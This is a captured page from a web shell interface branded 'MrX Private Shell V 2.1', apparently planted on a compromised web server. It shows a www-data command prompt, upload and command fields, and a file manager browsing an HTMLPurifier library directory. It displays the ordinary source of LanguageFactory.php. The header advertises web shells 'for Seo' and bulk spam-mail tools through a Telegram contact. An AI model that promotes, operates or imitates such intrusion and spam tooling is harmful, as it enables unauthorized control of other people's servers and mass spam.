__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.148: ~ $
<?php

/**
 * Class responsible for generating HTMLPurifier_Language objects, managing
 * caching and fallbacks.
 * @note Thanks to MediaWiki for the general logic, although this version
 *       has been entirely rewritten
 * @todo Serialized cache for languages
 */
class HTMLPurifier_LanguageFactory
{

    /**
     * Cache of language code information used to load HTMLPurifier_Language objects.
     * Structure is: $factory->cache[$language_code][$key] = $value
     * @type array
     */
    public $cache;

    /**
     * Valid keys in the HTMLPurifier_Language object. Designates which
     * variables to slurp out of a message file.
     * @type array
     */
    public $keys = array('fallback', 'messages', 'errorNames');

    /**
     * Instance to validate language codes.
     * @type HTMLPurifier_AttrDef_Lang
     *
     */
    protected $validator;

    /**
     * Cached copy of dirname(__FILE__), directory of current file without
     * trailing slash.
     * @type string
     */
    protected $dir;

    /**
     * Keys whose contents are a hash map and can be merged.
     * @type array
     */
    protected $mergeable_keys_map = array('messages' => true, 'errorNames' => true);

    /**
     * Keys whose contents are a list and can be merged.
     * @value array lookup
     */
    protected $mergeable_keys_list = array();

    /**
     * Retrieve sole instance of the factory.
     * @param HTMLPurifier_LanguageFactory $prototype Optional prototype to overload sole instance with,
     *                   or bool true to reset to default factory.
     * @return HTMLPurifier_LanguageFactory
     */
    public static function instance($prototype = null)
    {
        static $instance = null;
        if ($prototype !== null) {
            $instance = $prototype;
        } elseif ($instance === null || $prototype == true) {
            $instance = new HTMLPurifier_LanguageFactory();
            $instance->setup();
        }
        return $instance;
    }

    /**
     * Sets up the singleton, much like a constructor
     * @note Prevents people from getting this outside of the singleton
     */
    public function setup()
    {
        $this->validator = new HTMLPurifier_AttrDef_Lang();
        $this->dir = HTMLPURIFIER_PREFIX . '/HTMLPurifier';
    }

    /**
     * Creates a language object, handles class fallbacks
     * @param HTMLPurifier_Config $config
     * @param HTMLPurifier_Context $context
     * @param bool|string $code Code to override configuration with. Private parameter.
     * @return HTMLPurifier_Language
     */
    public function create($config, $context, $code = false)
    {
        // validate language code
        if ($code === false) {
            $code = $this->validator->validate(
                $config->get('Core.Language'),
                $config,
                $context
            );
        } else {
            $code = $this->validator->validate($code, $config, $context);
        }
        if ($code === false) {
            $code = 'en'; // malformed code becomes English
        }

        $pcode = str_replace('-', '_', $code); // make valid PHP classname
        static $depth = 0; // recursion protection

        if ($code == 'en') {
            $lang = new HTMLPurifier_Language($config, $context);
        } else {
            $class = 'HTMLPurifier_Language_' . $pcode;
            $file  = $this->dir . '/Language/classes/' . $code . '.php';
            if (file_exists($file) || class_exists($class)) {
                $lang = new $class($config, $context);
            } else {
                // Go fallback
                $raw_fallback = $this->getFallbackFor($code);
                $fallback = $raw_fallback ? $raw_fallback : 'en';
                $depth++;
                $lang = $this->create($config, $context, $fallback);
                if (!$raw_fallback) {
                    $lang->error = true;
                }
                $depth--;
            }
        }
        $lang->code = $code;
        return $lang;
    }

    /**
     * Returns the fallback language for language
     * @note Loads the original language into cache
     * @param string $code language code
     * @return string|bool
     */
    public function getFallbackFor($code)
    {
        $this->loadLanguage($code);
        return $this->cache[$code]['fallback'];
    }

    /**
     * Loads language into the cache, handles message file and fallbacks
     * @param string $code language code
     */
    public function loadLanguage($code)
    {
        static $languages_seen = array(); // recursion guard

        // abort if we've already loaded it
        if (isset($this->cache[$code])) {
            return;
        }

        // generate filename
        $filename = $this->dir . '/Language/messages/' . $code . '.php';

        // default fallback : may be overwritten by the ensuing include
        $fallback = ($code != 'en') ? 'en' : false;

        // load primary localisation
        if (!file_exists($filename)) {
            // skip the include: will rely solely on fallback
            $filename = $this->dir . '/Language/messages/en.php';
            $cache = array();
        } else {
            include $filename;
            $cache = compact($this->keys);
        }

        // load fallback localisation
        if (!empty($fallback)) {

            // infinite recursion guard
            if (isset($languages_seen[$code])) {
                trigger_error(
                    'Circular fallback reference in language ' .
                    $code,
                    E_USER_ERROR
                );
                $fallback = 'en';
            }
            $language_seen[$code] = true;

            // load the fallback recursively
            $this->loadLanguage($fallback);
            $fallback_cache = $this->cache[$fallback];

            // merge fallback with current language
            foreach ($this->keys as $key) {
                if (isset($cache[$key]) && isset($fallback_cache[$key])) {
                    if (isset($this->mergeable_keys_map[$key])) {
                        $cache[$key] = $cache[$key] + $fallback_cache[$key];
                    } elseif (isset($this->mergeable_keys_list[$key])) {
                        $cache[$key] = array_merge($fallback_cache[$key], $cache[$key]);
                    }
                } else {
                    $cache[$key] = $fallback_cache[$key];
                }
            }
        }

        // save to cache for later retrieval
        $this->cache[$code] = $cache;
        return;
    }
}

// vim: et sw=4 sts=4

Filemanager

Name Type Size Permission Actions
AttrDef Folder 0755
AttrTransform Folder 0755
ChildDef Folder 0755
ConfigSchema Folder 0755
DefinitionCache Folder 0755
EntityLookup Folder 0755
Filter Folder 0755
HTMLModule Folder 0755
Injector Folder 0755
Language Folder 0755
Lexer Folder 0755
Node Folder 0755
Printer Folder 0755
Strategy Folder 0755
TagTransform Folder 0755
Token Folder 0755
URIFilter Folder 0755
URIScheme Folder 0755
VarParser Folder 0755
Arborize.php File 2.49 KB 0644
AttrCollections.php File 4.75 KB 0644
AttrDef.php File 5.07 KB 0644
AttrTransform.php File 1.94 KB 0644
AttrTypes.php File 3.67 KB 0644
AttrValidator.php File 6.42 KB 0644
Bootstrap.php File 2.64 KB 0644
CSSDefinition.php File 19.59 KB 0644
ChildDef.php File 1.52 KB 0644
Config.php File 30.96 KB 0644
ConfigSchema.php File 5.76 KB 0644
ContentSets.php File 5.51 KB 0644
Context.php File 2.57 KB 0644
Definition.php File 1.33 KB 0644
DefinitionCache.php File 3.82 KB 0644
DefinitionCacheFactory.php File 3.12 KB 0644
Doctype.php File 1.54 KB 0644
DoctypeRegistry.php File 4.13 KB 0644
ElementDef.php File 7.35 KB 0644
Encoder.php File 25.19 KB 0644
EntityLookup.php File 1.39 KB 0644
EntityParser.php File 9.75 KB 0644
ErrorCollector.php File 7.45 KB 0644
ErrorStruct.php File 1.85 KB 0644
Exception.php File 177 B 0644
Filter.php File 1.59 KB 0644
Generator.php File 10.01 KB 0644
HTMLDefinition.php File 17.33 KB 0644
HTMLModule.php File 9.96 KB 0644
HTMLModuleManager.php File 15.57 KB 0644
IDAccumulator.php File 1.61 KB 0644
Injector.php File 8.79 KB 0644
Language.php File 5.92 KB 0644
LanguageFactory.php File 6.46 KB 0644
Length.php File 3.8 KB 0644
Lexer.php File 13.21 KB 0644
Node.php File 1.25 KB 0644
PercentEncoder.php File 3.48 KB 0644
Printer.php File 5.76 KB 0644
PropertyList.php File 2.72 KB 0644
PropertyListIterator.php File 894 B 0644
Queue.php File 1.51 KB 0644
Strategy.php File 762 B 0644
StringHash.php File 1.07 KB 0644
StringHashParser.php File 3.56 KB 0644
TagTransform.php File 1.07 KB 0644
Token.php File 2.17 KB 0644
TokenFactory.php File 3.03 KB 0644
URI.php File 10.35 KB 0644
URIDefinition.php File 3.35 KB 0644
URIFilter.php File 2.31 KB 0644
URIParser.php File 2.24 KB 0644
URIScheme.php File 3.4 KB 0644
URISchemeRegistry.php File 2.35 KB 0644
UnitConverter.php File 9.91 KB 0644
VarParser.php File 5.85 KB 0644
VarParserException.php File 157 B 0644
Zipper.php File 4.34 KB 0644
Filemanager